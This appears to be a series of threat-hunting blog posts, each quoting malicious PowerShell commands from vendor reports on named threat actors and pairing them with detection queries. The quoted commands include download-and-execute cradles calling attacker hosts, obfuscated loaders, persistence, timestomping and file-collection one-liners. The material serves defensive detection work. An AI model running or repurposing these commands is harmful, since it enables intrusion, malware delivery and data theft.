Know Your Adversary

Hello everyone! Threat actors continue to actively use the EtherHiding technique, and today we'll look at another example of it in action. According to a report by LevelBlue , the attackers distributed malicious shortcut (.LNK) files. Interacting with these shortcuts resulted in the execution of an obfuscated PowerShell command, for example: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -c $Se4n4GmJ=[System.Numerics.BigInteger]\7330349723455890650683895074414054;$fobLzAK0=[System.Numerics.BigInteger]\5070886814366709789648062014091648;$YrXdQd=$Se4n4GmJ - $fobLzAK0;for($bwusN=100+156;$YrXdQd -ne 0;$YrXdQd=$YrXdQd / $bwusN){$JZwuEnBA+=[char]\([int]\($YrXdQd % $bwusN));};iwr $JZwuEnBA -OutFile $env\:TEMP\lFdlPb.ps1 -UseBasicParsing; powershell -ep bypass -File $env\:TEMP\lFdlPb.ps1 Notice that the obfuscation leverages the BigInteger type, which by itself provides an opportunity for hunting: event_type: "processcreatewin" AND proc_file_path: "powe...

Hello everyone! We often talking about PowerShell. Yes, adversaries love it. But is it difficult to detect it? Let's find out! As always, we need an example, so let's check a report by eSentire . The adversary executed the following command: powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('hxxp://87.120.219[.]26/P9m4H7S2FqDTof')" What can we learn from it? The threat actors use some intersting command line arguments, and we can use it for hunting, of course: event_type: "processcreatewin" AND proc_file_path: "powershell.exe" AND cmdline: ("executionpolicy" AND "bypass") It's just an example, but usually adveraries use quite limited number of suspicious arguments - make sure to document it! See you tomorrow!

Hello everyone! Let's keep digging in PowerShell procedures, and this time we'll look at how adversaries leverage it for persistence. And today's example is generously provided by Lazarus (or Lazer Werewolf among many other names). The adversary used PowerShell to create a shortcut in the startup folder and enable persistence: cmd.exe /C powershell -Command "$s = (New-Object -COMWScript.Shell).CreateShortcut('C:\\ProgramData\\USOShared\\Micro.lnk'); $s.TargetPath = 'C:\\Windows\\System32\\rundll32.exe'; $s.Arguments = '\"[USOPrivate.dll path]\" LoadMimi \"C:\\Windows\\System32\\cmd.exe\"'; $s.Save()" Similar behavior markers may be related to legitimate activity, so it's a good target for hunting: event_type: "processcreatewin" AND proc_file_path: "powershell.exe" AND cmdline: "CreateShortcut" See you tomorrow!

Hello everyone! Today we'll look at another example of PowerShell abuse. And this time we'll talk about the Discovery tactic. So, let's look into the report on Gootloader . There're multiple interesting examples of PowerShell abuse. The adversary uses it to search for accounts with SPNs: powershell.exe  -command "$search = New-Object DirectoryServices.DirectorySearcher([ADSI]''); $search.Filter = '(&(servicePrincipalName=*)(objectCategory=user))'; $results = $search.FindAll(); foreach ($result in $results) { $u = $result.GetDirectoryEntry(); Write-Host $u.name, $u.samaccountname; foreach ($s in $u.servicePrincipalName) { Write-Host $s; } Write-Host '---'; }" Finds computers where the current user has admin rights: powershell.exe  -ExecutionPolicy bypass -Command "$UBcPGBjR99={param($vars);$nZzkzLTK99=$vars.computer;$Error.clear();Get-WmiObject -Class Win32_OperatingSystem -ComputerName $nZzkzLTK99 -ErrorAction SilentlyContinue;...

Hello everyone! Do you remember PowerShell has almost countless number of procedures? So today we'll look at another one, which includes the following technique:  Event Triggered Execution: Component Object Model Hijacking (T1546.015) . This time the example we are going to look at belongs to Head Mare (or Rainbow Hyena). One more time the adversary leveraged malicious LNK files in order to execute the following PowerShell command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -c "New-Item -Path 'HKCU:\Software\Classes\CLSID\{c53e07ec-25f3-4093-aa39-fc67ea22e99d}\InprocServer32' -Force|Set-Item -Value 'C:\ProgramData\winnt64_.dll';$r=[System.IO.Path]::Combine($(gl).Path,'Задание_на_оценку_N_2046_от_05_августа_2025_года.zip');if(Test-Path $r){[System.IO.File]::WriteAllBytes([System.IO.Path]::Combine($env:ProgramData,'winnt64_.dll'),([System.IO.File]::ReadAllBytes($r)|select -Skip 16 -First 642064));}el...

Hello everyone! Today we'll talk about a framework, which is quite popular among Chinese-speaking threat actors. It's called Ladon and can be used by adversary to solve various tasks: scanning, exploitation, remote execution, etc. It's used in-the-wild. Here're some procedure examples as seen in this report : powershell -exec bypass Import-Module .\Ladon.ps1;Ladon SweetPotato whoami powershell -ExecutionPolicy Bypass Import-Module .\Ladon.ps1;Ladon MssqlCmd [IP] [User] [Password] master xp_cmdshell “net user” So, if a threat actor uses it on a compromised system, you see LOTS of interesting command line arguments, and we can use it for detection and hunting: event_type: ("processcreatewin" OR "processcreatemac" OR "processcreatenix") AND cmdline: ("ladon" OR "ms17010" OR "bypassedr" OR "whatcms" OR "draytekpoc" OR "debase64" OR "smbghost" OR "enummssql" OR ...

Hello everyone! Malware installation routines are noisy. Most of the time. What does it mean? We can transform this noise into detection and hunting ideas! Let's look at Koi Loader . It's commonly delivered with help of malicious LNK-files, like this one . So, it executes the following command: powershell.exe -command $q7hl1gh07lmh4rm = 'ws'+'cr'+'ip' + 't ' + '%ProgramData%\' + ('nblxsl7b2fdze5.js wg3c86ft8'); & ('cu'+'r'+'l.ex'+'e') -sL -o nblxsl7b2fdze5.js 'hXXps://ayeorganization[.]com/wp-content/uploads/2019/04/goosehouseel.php'; & ('cur'+'l.e'+'xe') -s -o e8p1xhlnt1xd -L 'hXXps://ayeorganization[.]com/wp-content/uploads/2019/04/pseudophilanthropicalgjxR.php'; mv e8p1xhlnt1xd wg3c86ft8.js; . ('sc'+'hta' + 'sks') /create /sc minute /f /mo 1 /tr $q7hl1gh07lmh4rm /tn wg3c86ft8; As you can see, here we can see lots of detection...

Hello everyone! The Genians Security Center (GSC) reported on a recent Kimsuky (we track this activity cluster as Monolithic Werewolf ) campaign, which took place in between March and April 2025. Interesting enough that the adversary leveraged multiple communication channels to distribute malicious files, including email, Facebook and Telegram. The installation process is quite noisy as always, so we have lots of detection opportunities. For example, the threat actors abused PowerShell and Certutil for decoding: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden certutil -decode C:\Windows\..\ProgramData\ffBqrQ6.rppn C:\Windows\..\ProgramData\sRPCU5y.evJl A good candidate for detection, right? event_type: "processcreatewin" AND proc_file_name: "powershell.exe" AND cmdline: ("certutil" AND "decode") One more thing - abusing reg.exe to achieve persistence: reg add HKCU\Software\Microsoft\Windows\CurrentVersio...

Hello everyone! Proofpoint in collaboration with Threatray released  a report on TA397 activities. Threat researchers assess that it's a state-sponsored adversary with focus on intelligence gathering. The threat actors actively abused task scheduler. A very common technique, but the command seemed interesting to me: "C:\\Windows\\System32\\conhost.exe" --headless cmd /c ping  localhost > nul & schtasks /create /tn "EdgeTaskUI" /f /sc  minute /mo 16 /tr "conhost --headless powershell -WindowStyle  Minimized irm "woodstocktutors[.]com/jbc.php? fv=$env:COMPUTERNAME*$env:USERNAME" -OutFile  "C:\\Users\\public\\kwe.cc"; Get-Content  "C:\\Users\\public\\kwe.cc" | cmd" Fisrt of all, the adversary extensively uses conhost.exe in "headless" mode, I'm sure you already have this hunt in your library: event_type: "processcreatewin" AND proc_file_name: "conhost.exe" AND cmdline: "headless...

Hello everyone! Yes, looks like we can talk about PowerShell abuse forever! For example, adversaries often try to obfuscate malicious PowerShell scripts. Let's look at an example : $udVDkdtSF =([regex]::Matches('6b677a6a767672382d2d63606b6c65766d6c2f63767272632c6d70652d7460712d6c6d636c766b2f746f2c606376264f5854557a5146223f2226676c7438437272466376633964776c61766b6d6c226d714144696b48432a26765341542e22264a6a61752b796177706e222676534154222f6d22264a6a61757f3964776c61766b6d6c2271504a4764562a2b7964776c61766b6d6c22537a68634147402a264e46776e755074587a2b796b642a232a566771762f5263766a222f5263766a22264a6a61752b2b796d714144696b484322264e46776e755074587a22264a6a61757f7f264a6a6175223f2226676c743843727246637663222922255e6c6d636c766b2f746f2c6063762539537a686341474022267766544669667651442c5177605176706b6c652a312e36312b39717663707622264a6a6175397f71504a47645639','.{2}') | % { [char]([Convert]::ToByte($_.Value,16) -bxor '2') }) -join '';& $udVDkdtSF.Substring(0,3) $...

Hello everyone! Still adding interesting items to my PowerShell collection! So, in the morning I was reading this report , and spotted another ITW example of abusing PowerShell for timestomping. The adversary created scheduled tasks to execute MeshAgent , and after that executed PowerShell commands to timestomp related files, here are some examples: (Get-Item “.\vcruntime140_1.dll”).LastAccessTime=(“12 May 2024 11:14:00”) ` (Get-Item “.\vcruntime140_1.dll”).LastWriteTime=(“12 May 2024 11:14:00”) ` (Get-Item “.\vcruntime140_1.dll”).CreationTime=(“12 May 2024 11:14:00”) ` (Get-Item “.\vcruntime140.dll”).LastAccessTime=(“12 May 2024 11:14:00”) ` (Get-Item “.\vcruntime140.dll”).LastWriteTime=(“12 May 2024 11:14:00”) ` (Get-Item “.\vcruntime140.dll”).CreationTime=(“12 May 2024 11:14:00”) For example, we can use ScriptBlock event to hunt for Get-Item cmdlet abuse: event_type: "ScriptExecutionWin" AND script_text: "get-item" AND ("lastaccesstime" OR "lastwr...

Hello everyone! As you know, in most cases espionage-related activity clusters need to collect sensitive data before exfiltration. Of course, they can abuse PowerShell to solve this task! For example, Earth Kurma used the following PowerShell command to collect files of interest: C:\Windows\system32\cmd.exe /C powershell.exe "dir c:\users -File -Recurse -Include '*.pdf', '*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt' , '*.pptx'| where LastWriteTime -gt (Get-date).AddDays(-30) | foreach {cmd /c copy $_ /y c:\users\{username}\documents\tmp};echo Finish!" I think you've spotted many file extensions. We can use this to build our hunting query: event_type: "processcreatewin" AND proc_file_name: "powershell.exe" AND cmdline: ("pdf" AND "doc" AND "xls" AND "ppt") If you want to share more interesting PowerShell abuse examples, you are always welcome! See you tomor...

Hello everyone! It's time to add a few new items to your (and mine) PowerShell procedure collection! I spotted a few in a recent report on SocGholish activity by eSentire. Let's start from reconnaissance. The adversary leveraged the following PowerShell command to enumerate Active Directory: powershell -c "$searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]\'\'); $searcher.Filter = \'(&(objectCategory=computer)(operatingSystem=*server*))\'; $searcher.PageSize = 1000; $searcher.PropertiesToLoad.Add(\'dnshostname\') > $null; $searcher.FindAll() | ForEach-Object { $_.Properties[\'dnshostname\'][0] } We can hunt for similar activity, for example, using the following query: event_type: "processcreatewin" AND proc_file_name: "powershell.exe" AND cmdline: "DirectorySearcher" The threat actors also used PowerShell to collect browser-related login data: "cmd.exe" /C powershell -c ...

Hello everyone! We've talked about ClickFix a few times already. But it's quite interesting how various adopt this technique. According to Proofpoint report , multiple state-sponsored adversaries started to use this technique. For example, TA427 (we track this activity cluster under the name Monolithic Werewolf). The threat actor masquaraded malicious PowerShell command to look like a registration code: powershell -windowstyle hidden -Command iwr       "hxxps://securedrive.fin-tech[.]com/docs/en/t.vmd" -OutFile       "$env:TEMP\p"; $c=Get-Content -Path "$env:TEMP\p" -Raw; iex       $c;                                                                                    3Z5TY-76FR3-9G87H-7ZC56 As you can see, the command includes...

Hello everyone! Are you ready to keep hunting for Paper Werewolf ? I hope you are! This time let's look at  PowerModul . We keep looking into this report , by the way. PowerModul is a PowerShell script, which enables the adversary to receive and execute additional scripts from the C&C server. It's embedded in the “ UserCache.ini ” file as a Base64-encoded string: $base = "[base64-encoded string]"; $base64 = [System.Convert]::FromBase64String($base); $code = [System.Text.Encoding]::UTF8.GetString($base64); iex $code; To catch such activity, we should look into the Scriptblock. Usually, if you see " FromBase64String " and " iex " together - it's most likely suspicious activity, so it's great candidate for hunting: event_type: "ScriptExecutionWin" AND script_text: ("FromBase64String" AND "iex") If we look at the decoded script, we can also see multiple hunting opportunities. For example, abusing  System.Net.We...

Hello everyone! Let's keep talking about threat hunting! Paper Werewolf is in the news , so let's focus on this activity cluster. And look into this report . The procedure we're going to look at is the following: cmd.exe /c if not exist "C:\Users\user\UserCacheHelper.lnk.js" echo var objService = GetObject("winmgmts:\\\\.\\root\\cimv2");var objStartup = objService.Get("Win32_ProcessStartup");var objConfig = objStartup.SpawnInstance_();objConfig.ShowWindow = 0;var processClass = objService.Get("Win32_Process");var command = "powershell.exe -c \"$raw= Get-Content C:\\Users\\user\\UserCache.ini;Invoke-Expression $raw\"";var result = processClass.Create(command, null, objConfig, 0); > C:\Users\user\UserCacheHelper.lnk.js It's used to drop a JavaScript file named UserCacheHelper.lnk.js onto the disk. The script runs PowerModul . I would suggest to hunt for similar activity focusing on two cmdlets:  Get-Content ...

Hello everyone! I'm sure everybody already got tired of ClickFix technique, but let me show you another interesting case I spotted recently. It's again about PowerShell abuse. This time adversaries used it to generate the download link: powershell -w h -c "$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 0xfffffffffffffff0;irm 168.119.173[.]205:8080/$u|iex" As you can see, it gets the number of seconds since Unix epoch (Jan 1, 1970), uses it to build a URL, downloads and executes the payload in memory. Of course, we can easily detect such activity, for example, using this logic: event_type: "processcreatewin" AND proc_file_name: "powershell.exe" AND cmdline: ("datetime" AND "UtcNow" AND "1970" AND "iex") Have you seen other interesting scripts in ClickFix campaigns? See you tomorrow!

Hello everyone! I've spotted another interesting malicious LNK file, which abuses PowerShell to drop RokRAT , so let's look at detection opportunities you can use both for searching suspicious activity in your network and finding new similar files using external sources like VirusTotal. So, the LNK file execute the following command: powershell.exe "$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = '%TEMP%'};$exs=@('.lnk');$lnkPath = Get-ChildItem -Path $dirPath -Recurse *.* -File | where {$_.extension -in $exs} | where-object {$_.length -eq 0x031732EF} | Select-Object -ExpandProperty FullName ;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x000010E4, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x002A7965;$lnkFile.Read($pdfFile, 0, 0x002A7965);$pdfPath = $lnkPath.replace('.lnk','.pdf...

Hello everyone! Today we'll look at another curious example of PowerShell abuse - this time from Head Mare (we track this activity cluster as Rainbow Hyena ). The adversary distributed password protected archives with malicious LNK files. The LNK file executes the following PowerShell command to run  PhantomPyramid backdoor on the compromised system: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -c "$r=$(Get-Location).Path + '\\x417\x430\x44f\x432\x43a\x430_\x413\x423\x412_5_03\x414.zip';if(Test-Path $r) { cmd.exe /c start /B $r; } else { $f=$(Get-ChildItem -Path 'C:\Users\<USER>' -Recurse -Filter '\x417\x430\x44f\x432\x43a\x430_\x413\x423\x412_5_03\x414.zip' | Select-Object -First 1); if($f) { $r=$f.FullName; cmd.exe /c start /B $f.FullName; }; };if(-Not (Test-Path $r)) { $r=$(Get-ChildItem -Path 'C:\Users\<USER>\AppData\Local\Temp' -Recurse -Filter "\x417\x430\x44f\x432\x43a\x430_\...

Hello everyone! We haven't talked about PowerShell abuse for some time, but I think we can continue. And Gamaredon will help us! The group continues to distribute malicious LNK files, which contain PowerShell code to download and execute the payload, and open the decoy document, for example : powershell.exe -WindowStyle hidden echo DsuXBGtDPVpafNQKWfGNQXRPehfejEMnZWqvtPFEKrDQRtLDoRtJCcMjEFenVKrryMHia; Write-HostZVRjgZrFwKSbjNrBtIujdNLLlPq; if (-not(Test-Path iscabv.''zi''p -PathType Leaf)){echo vgUYzpRfaoGxgCSuzlmZCRxmXRnGJKBwooBEEoJgvYqjRXoXTHaspGDtNMuMovanuZezIbSYgAmXMqDOLMczhxmvJtkBJPsVai; &(g''cm i******w*****r) -uri h''t''tp:''//''146''.''1''85''.''233''.''90''/iscabv.''zi''p -OutFile iscabv.''zi''p}; Expand-Archive -Path iscabv.''zi''p -DestinationPath Drvx64; star''t  Drvx64/IsCabView.''e...